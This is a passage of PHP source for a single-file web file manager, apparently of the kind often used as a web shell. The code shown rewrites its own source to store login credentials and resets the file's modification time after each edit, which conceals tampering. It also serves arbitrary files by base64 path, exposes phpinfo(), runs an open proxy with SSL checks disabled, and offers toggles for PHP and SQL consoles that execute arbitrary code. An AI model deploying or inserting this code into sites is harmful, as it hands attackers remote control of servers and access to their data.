<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
